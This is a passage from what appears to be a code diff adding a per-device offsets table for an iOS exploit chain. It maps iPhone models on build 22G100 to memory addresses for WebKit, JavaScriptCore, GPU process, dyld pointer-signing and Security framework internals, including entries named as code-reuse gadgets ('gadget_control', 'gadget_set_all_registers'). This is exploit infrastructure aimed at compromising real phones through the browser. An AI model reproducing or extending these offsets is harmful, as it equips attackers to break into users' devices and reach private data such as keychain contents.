CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + + "iPhone13,4_22G100": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone14,2_22G100": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,3_22G100": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n + }, + "iPhone14,4_22G100": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 